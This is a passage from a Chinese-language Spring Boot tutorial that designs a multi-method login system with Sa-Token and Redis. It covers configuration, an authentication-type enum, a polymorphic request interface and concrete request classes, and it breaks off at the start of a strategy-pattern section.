<code>New</code> → <code>File</code>，输入文件名 <code>application.yml</code>，然后粘贴以下内容：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 服务器配置</span></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span>                    <span class="comment"># 应用端口，默认 8080</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Spring 配置</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">application:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">auth-factory-demo</span>     <span class="comment"># 应用名称</span></span><br><span class="line"></span><br><span class="line">  <span class="comment"># Redis 配置</span></span><br><span class="line">  <span class="attr">data:</span></span><br><span class="line">    <span class="attr">redis:</span></span><br><span class="line">      <span class="attr">host:</span> <span class="string">localhost</span>           <span class="comment"># Redis 服务器地址</span></span><br><span class="line">      <span class="attr">port:</span> <span class="number">6379</span>                <span class="comment"># Redis 端口</span></span><br><span class="line">      <span class="attr">password:</span>                 <span class="comment"># Redis 密码（如果没有设置密码，留空）</span></span><br><span class="line">      <span class="attr">database:</span> <span class="number">0</span>               <span class="comment"># 使用的数据库索引</span></span><br><span class="line">      <span class="attr">lettuce:</span></span><br><span class="line">        <span class="attr">pool:</span></span><br><span class="line">          <span class="attr">max-active:</span> <span class="number">8</span>         <span class="comment"># 连接池最大连接数</span></span><br><span class="line">          <span class="attr">max-idle:</span> <span class="number">8</span>           <span class="comment"># 连接池最大空闲连接数</span></span><br><span class="line">          <span class="attr">min-idle:</span> <span class="number">0</span>           <span class="comment"># 连接池最小空闲连接数</span></span><br><span class="line">          <span class="attr">max-wait:</span> <span class="string">-1ms</span>        <span class="comment"># 连接池最大阻塞等待时间</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Sa-Token 配置</span></span><br><span class="line"><span class="attr">sa-token:</span></span><br><span class="line">  <span class="attr">token-name:</span> <span class="string">Authorization</span>     <span class="comment"># Token 的名称（前端请求头中的字段名）</span></span><br><span class="line">  <span class="attr">timeout:</span> <span class="number">86400</span>                <span class="comment"># Token 有效期（单位：秒，86400 秒 = 1 天）</span></span><br><span class="line">  <span class="attr">active-timeout:</span> <span class="number">1800</span>          <span class="comment"># Token 最低活跃频率（单位：秒，1800 秒 = 30 分钟）</span></span><br><span class="line">  <span class="attr">is-concurrent:</span> <span class="literal">true</span>           <span class="comment"># 是否允许同一账号多地同时登录</span></span><br><span class="line">  <span class="attr">is-share:</span> <span class="literal">false</span>               <span class="comment"># 是否共享 Token（多个系统是否共用一套 Token）</span></span><br><span class="line">  <span class="attr">token-style:</span> <span class="string">uuid</span>             <span class="comment"># Token 风格（uuid、simple-uuid、random-32 等）</span></span><br><span class="line">  <span class="attr">is-log:</span> <span class="literal">true</span>                  <span class="comment"># 是否打印 Sa-Token 的操作日志</span></span><br></pre></td></tr></table></figure><p><strong>配置说明</strong>：</p><p><strong>Redis 配置</strong>：</p><ul><li><code>host</code> 和 <code>port</code>：指定 Redis 服务器的地址和端口</li><li><code>password</code>：如果你的 Redis 设置了密码，请填写密码；否则留空</li><li><code>database</code>：Redis 有 16 个数据库（0-15），我们使用 0 号数据库</li><li><code>lettuce.pool</code>：连接池配置，用于提高 Redis 连接性能</li></ul><p><strong>Sa-Token 配置</strong>：</p><ul><li><code>token-name</code>：前端请求头中携带 Token 的字段名，我们使用 <code>Authorization</code></li><li><code>timeout</code>：Token 的有效期，设置为 1 天（86400 秒）</li><li><code>active-timeout</code>：如果用户 30 分钟内没有任何操作，Token 会自动续期</li><li><code>is-concurrent</code>：允许同一个账号在多个设备上同时登录</li><li><code>is-share</code>：不共享 Token（每个应用使用独立的 Token）</li><li><code>token-style</code>：Token 的生成风格，使用 UUID</li><li><code>is-log</code>：开启 Sa-Token 的操作日志，方便调试</li></ul><hr><h2 id="19-2-4-接口抽象：定义统一的认证规范">19.2.4. 接口抽象：定义统一的认证规范</h2><p>在上一节中，我们已经完成了项目骨架的搭建，确认了 Spring Boot 应用能够正常启动，Redis 连接正常。现在，我们需要开始设计认证工厂的核心接口。</p><p>这一节是整个认证工厂的 <strong>“输入规范”</strong>，它定义了所有登录方式必须遵循的统一接口。就像工厂的生产线需要标准化的零件接口一样，我们的认证工厂也需要标准化的请求接口，才能让不同的登录策略无缝接入。</p><hr><h3 id="19-2-4-1-统一接口的设计意图">19.2.4.1. 统一接口的设计意图</h3><p>在传统写法中，Controller 使用 <code>Map&lt;String, Object&gt;</code> 接收请求参数：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/login&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;AuthToken&gt; <span class="title function_">login</span><span class="params">(<span class="meta">@RequestBody</span> Map&lt;String, Object&gt; request)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">type</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;type&quot;</span>);</span><br><span class="line">    <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;username&quot;</span>);</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种写法存在三个核心问题：</p><p><strong>问题一：类型不安全</strong></p><p><code>Map&lt;String, Object&gt;</code> 中的值都是 <code>Object</code> 类型，需要手动强制转换。如果前端传错了类型，只能在运行时才能发现错误。</p><p><strong>问题二：无法校验</strong></p><p>我们无法使用 Spring 的 <code>@Valid</code> 注解进行参数校验，只能在业务逻辑中手动判断，导致校验代码散落在各个 if-else 分支中。</p><p><strong>问题三：工厂无法分发</strong></p><p>工厂模式的核心是 “根据类型选择策略”。但 <code>Map&lt;String, Object&gt;</code> 无法携带类型信息，工厂类只能通过字符串判断，这与我们的策略模式设计理念相悖。</p><p><strong>解决方案：定义统一的接口</strong></p><p>我们定义一个 <code>AuthRequest</code> 接口，所有登录请求都必须实现这个接口。这样做的核心价值是：</p><ul><li><strong>类型安全</strong>：编译时就能发现类型错误</li><li><strong>参数校验</strong>：可以使用 <code>@Valid</code> 注解自动校验</li><li><strong>工厂分发</strong>：工厂类可以通过 <code>getAuthType()</code> 方法获取类型，自动选择对应的策略</li></ul><p><strong>接口在工厂模式中的作用</strong></p><p>在策略模式中，接口扮演着 “统一输入” 的角色：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">前端请求 → AuthRequest 接口 → 工厂类根据 authType 选择策略 → 策略类执行认证</span><br></pre></td></tr></table></figure><p>所有登录方式的请求都实现 <code>AuthRequest</code> 接口，工厂类只需要依赖这个接口，就能处理所有类型的登录请求。这就是 <strong>“面向接口编程”</strong> 的核心思想。</p><hr><h3 id="19-2-4-2-认证类型枚举（AuthType）">19.2.4.2. 认证类型枚举（AuthType）</h3><p>在定义接口之前，我们需要先定义一个枚举类，用于标识系统支持的所有登录方式。</p><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/enums/AuthType.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.enums;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> lombok.Getter;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 认证类型枚举</span></span><br><span class="line"><span class="comment"> * 集中管理系统支持的所有登录方式</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Getter</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">AuthType</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 账号密码登录</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    PASSWORD(<span class="string">&quot;password&quot;</span>, <span class="string">&quot;账号密码登录&quot;</span>),</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 手机验证码登录</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    SMS(<span class="string">&quot;sms&quot;</span>, <span class="string">&quot;手机验证码登录&quot;</span>),</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 微信扫码登录</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    WECHAT(<span class="string">&quot;wechat&quot;</span>, <span class="string">&quot;微信扫码登录&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 类型编码（用于前端传参）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String code;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 类型描述（用于日志记录）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String description;</span><br><span class="line">    </span><br><span class="line">    AuthType(String code, String description) &#123;</span><br><span class="line">        <span class="built_in">this</span>.code = code;</span><br><span class="line">        <span class="built_in">this</span>.description = description;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 根据 code 获取枚举</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> AuthType <span class="title function_">fromCode</span><span class="params">(String code)</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (AuthType type : values()) &#123;</span><br><span class="line">            <span class="keyword">if</span> (type.code.equals(code)) &#123;</span><br><span class="line">                <span class="keyword">return</span> type;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;不支持的认证方式: &quot;</span> + code);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>设计要点</strong></p><p>这个枚举类有两个核心字段：</p><ul><li><code>code</code>：用于前端传参和数据库存储，必须是简短的英文标识符</li><li><code>description</code>：用于日志记录和错误提示，必须是易读的中文描述</li></ul><p>这样设计的好处是：前端传参时使用 <code>code</code>（如 <code>&quot;password&quot;</code>），简洁高效；日志记录时使用 <code>description</code>（如 <code>&quot;账号密码登录&quot;</code>），易于理解。</p><p><code>fromCode</code> 方法用于将前端传来的字符串转换为枚举。如果前端传来的 <code>code</code> 不存在，会抛出 <code>IllegalArgumentException</code>，提示 “不支持的认证方式”。</p><hr><h3 id="19-2-4-3-认证请求接口（AuthRequest）">19.2.4.3. 认证请求接口（AuthRequest）</h3><p>现在我们定义统一的认证请求接口。这个接口是所有登录请求的 “父类”，它定义了所有登录方式必须遵循的规范。</p><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/model/request/AuthRequest.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.model.request;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.annotation.JsonSubTypes;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.annotation.JsonTypeInfo;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 认证请求接口</span></span><br><span class="line"><span class="comment"> * 所有登录方式的请求参数都必须实现这个接口</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@JsonTypeInfo(</span></span><br><span class="line"><span class="meta">    use = JsonTypeInfo.Id.NAME,</span></span><br><span class="line"><span class="meta">    include = JsonTypeInfo.As.EXISTING_PROPERTY,</span></span><br><span class="line"><span class="meta">    property = &quot;authType&quot;,</span></span><br><span class="line"><span class="meta">    visible = true</span></span><br><span class="line"><span class="meta">)</span></span><br><span class="line"><span class="meta">@JsonSubTypes(&#123;</span></span><br><span class="line"><span class="meta">    @JsonSubTypes.Type(value = PasswordAuthRequest.class, name = &quot;PASSWORD&quot;),</span></span><br><span class="line"><span class="meta">    @JsonSubTypes.Type(value = SmsAuthRequest.class, name = &quot;SMS&quot;),</span></span><br><span class="line"><span class="meta">    @JsonSubTypes.Type(value = WechatAuthRequest.class, name = &quot;WECHAT&quot;)</span></span><br><span class="line"><span class="meta">&#125;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">AuthRequest</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取认证类型</span></span><br><span class="line"><span class="comment">     * 用于工厂类根据类型选择对应的策略</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    AuthType <span class="title function_">getAuthType</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>设计要点</strong></p><p>这个接口只定义了一个方法：<code>getAuthType()</code>。因为不同登录方式的参数不同（账号密码登录需要 <code>username</code> 和 <code>password</code>，手机验证码登录需要 <code>phone</code> 和 <code>code</code>），我们无法在接口中定义统一的参数字段。</p><p>接口上的两个注解（<code>@JsonTypeInfo</code> 和 <code>@JsonSubTypes</code>）用于配置 Jackson 的多态反序列化。这样 Spring Boot 就能根据前端传来的 <code>authType</code> 字段，自动将 JSON 转换为对应的请求类。</p><p><strong>Jackson 多态反序列化的工作流程</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">1. 前端发送 JSON: &#123;&quot;authType&quot;: &quot;PASSWORD&quot;, &quot;username&quot;: &quot;admin&quot;, &quot;password&quot;: &quot;123456&quot;&#125;</span><br><span class="line">2. Spring Boot 接收到请求，调用 Jackson 进行反序列化</span><br><span class="line">3. Jackson 读取 authType 字段，发现值是 &quot;PASSWORD&quot;</span><br><span class="line">4. Jackson 查找 @JsonSubTypes 注解，找到 name=&quot;PASSWORD&quot; 对应的类是 PasswordAuthRequest</span><br><span class="line">5. Jackson 将 JSON 转换为 PasswordAuthRequest 对象</span><br><span class="line">6. Controller 接收到 PasswordAuthRequest 对象</span><br></pre></td></tr></table></figure><hr><h3 id="19-2-4-4-具体请求类示例">19.2.4.4. 具体请求类示例</h3><p>现在我们定义一个具体的认证请求类，用于演示接口的实现方式。</p><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/model/request/PasswordAuthRequest.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.model.request;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.annotation.JsonTypeName;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.NotBlank;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 账号密码登录请求</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@JsonTypeName(&quot;PASSWORD&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PasswordAuthRequest</span> <span class="keyword">implements</span> <span class="title class_">AuthRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">AuthType</span> <span class="variable">authType</span> <span class="operator">=</span> AuthType.PASSWORD;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;用户名不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;密码不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> AuthType <span class="title function_">getAuthType</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> authType;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>设计要点</strong></p><p>这个请求类实现了 <code>AuthRequest</code> 接口，并定义了账号密码登录所需的两个字段：<code>username</code> 和 <code>password</code>。</p><p><code>@JsonTypeName(&quot;PASSWORD&quot;)</code> 注解指定了类型名称，必须与 <code>@JsonSubTypes</code> 中的 <code>name</code> 属性一致，这样 Jackson 才能正确地将 <code>&quot;PASSWORD&quot;</code> 映射到 <code>PasswordAuthRequest</code> 类。</p><p><code>authType</code> 字段设置了默认值 <code>AuthType.PASSWORD</code>，这样即使前端忘记传 <code>authType</code> 字段，也能正确识别类型。</p><p><strong>其他请求类</strong></p><p>按照同样的方式，我们还需要定义 <code>SmsAuthRequest</code> 和 <code>WechatAuthRequest</code>：</p><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/model/request/SmsAuthRequest.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.model.request;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.annotation.JsonTypeName;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.NotBlank;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.Pattern;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@JsonTypeName(&quot;SMS&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SmsAuthRequest</span> <span class="keyword">implements</span> <span class="title class_">AuthRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">AuthType</span> <span class="variable">authType</span> <span class="operator">=</span> AuthType.SMS;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;手机号不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Pattern(regexp = &quot;^1[3-9]\\d&#123;9&#125;$&quot;, message = &quot;手机号格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String phone;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;验证码不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Pattern(regexp = &quot;^\\d&#123;6&#125;$&quot;, message = &quot;验证码格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String code;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> AuthType <span class="title function_">getAuthType</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> authType;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/model/request/WechatAuthRequest.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.model.request;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.annotation.JsonTypeName;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.NotBlank;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@JsonTypeName(&quot;WECHAT&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WechatAuthRequest</span> <span class="keyword">implements</span> <span class="title class_">AuthRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">AuthType</span> <span class="variable">authType</span> <span class="operator">=</span> AuthType.WECHAT;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;授权码不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String code;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> AuthType <span class="title function_">getAuthType</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> authType;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="19-2-4-5-本节小结">19.2.4.5. 本节小结</h3><p>本节完成了认证工厂的输入规范设计，定义了 <code>AuthType</code> 枚举、<code>AuthRequest</code> 接口以及三个具体的请求类。这些接口为后续的工厂实现奠定了基础，工厂类可以通过 <code>getAuthType()</code> 方法获取类型，自动选择对应的策略。</p><table><thead><tr><th style="text-align:left">要点</th><th style="text-align:left">何时使用</th><th style="text-align:left">关键动作</th></tr></thead><tbody><tr><td style="text-align:left">AuthType 枚举</td><td style="text-align:left">标识登录方式</td><td style="text-align:left">定义 code 和 description 字段</td></tr><tr><td style="text-align:left">AuthRequest 接口</td><td style="text-align:left">统一请求规范</td><td style="text-align:left">定义 getAuthType() 方法</td></tr><tr><td style="text-align:left">具体请求类</td><td style="text-align:left">实现不同登录方式</td><td style="text-align:left">实现 AuthRequest 接口，添加 @JsonTypeName 注解</td></tr></tbody></table><p>在下一节中，我们将定义认证策略接口（<code>AuthStrategy</code>），让每种登录方式都遵循统一的策略规范。</p><hr><h2 id="19-2-5-策略接口：定义统一的认证策略">19.2.5. 策略接口：定义统一的认证策略</h2><p>在上一节中，我们定义了统一的认证请求接口（<code>AuthRequest</code>），解决了 “如何统一接收不同登录方式的参数” 这个问题。现在我们需要解决另一个核心问题：<strong>如何统一处理不同登录方式的验证逻辑？</strong></p><p>这就是策略模式的核心所在。我们将定义一个 <code>AuthStrategy</code> 接口，让每种登录方式都实现这个接口，从而实现 “统一规范，各自实现”。</p><hr><h3 id="19-2-5-1-策略模式的核心思想">19.2.5.1. 策略模式的核心思想</h3><p>在传统写法中，所有登录方式的验证逻辑都混在 Controller 的 if-else 分支中：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="string">&quot;password&quot;</span>.equals(type)) &#123;</span><br><span class="line">    <span class="comment">// 查询用户、验证密码、生成 Token...</span></span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;sms&quot;</span>.equals(type)) &#123;</span><br><span class="line">    <span class="comment">// 验证验证码、查询或创建用户、生成 Token...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种写法的问题在于：<strong>验证逻辑与分发逻辑耦合在一起</strong>。Controller 既要负责 “选择哪种登录方式”，又要负责 “执行具体的验证逻辑”，违反了单一职责原则。</p><p><strong>策略模式的解决方案</strong></p><p>策略模式将 “算法的选择” 与 “算法的实现” 分离：</p><ul><li><strong>工厂类负责选择</strong>：根据 <code>authType</code> 选择对应的策略</li><li><strong>策略类负责实现</strong>：每种登录方式都是一个独立的策略类，实现具体的验证逻辑</li></ul><p>这样做的核心价值是：</p><ul><li><strong>职责清晰</strong>：Controller 只负责调度，策略类只负责验证</li><li><strong>易于扩展</strong>：新增登录方式只需实现 <code>AuthStrategy</code> 接口，不需要修改任何现有代码</li><li><strong>易于测试</strong>：可以单独测试每个策略类，不需要启动整个应用</li></ul><p><strong>策略模式的三个角色</strong></p><p>在我们的认证工厂中，策略模式包含三个角色：</p><table><thead><tr><th style="text-align:left">角色</th><th style="text-align:left">职责</th><th style="text-align:left">在我们系统中的对应类</th></tr></thead><tbody><tr><td style="text-align:left"><strong>Strategy（策略接口）</strong></td><td style="text-align:left">定义所有策略的统一接口</td><td style="text-align:left"><code>AuthStrategy</code></td></tr><tr><td style="text-align:left"><strong>ConcreteStrategy（具体策略）</strong></td><td style="text-align:left">实现具体的算法</td><td style="text-align:left"><code>PasswordAuthStrategy</code>、<code>SmsAuthStrategy</code> 等</td></tr><tr><td style="text-align:left"><strong>Context（上下文）</strong></td><td style="text-align:left">持有策略引用，委托策略执行</td><td style="text-align:left"><code>AuthStrategyFactory</code></td></tr></tbody></table><hr><h3 id="19-2-5-2-策略接口的设计">19.2.5.2. 策略接口的设计</h3><p>现在我们定义 <code>AuthStrategy</code> 接口。这个接口是所有登录策略的 “父类”，它定义了所有策略必须遵循的规范。</p><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/strategy/AuthStrategy.java</code>（新建）</p><p>在 <code>src/main/java/com/example/auth</code> 目录下，右键选择 <code>New</code> → <code>Package</code>，输入包名 <code>strategy</code>，然后在 <code>strategy</code> 包下新建 <code>AuthStrategy.java</code> 文件：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span 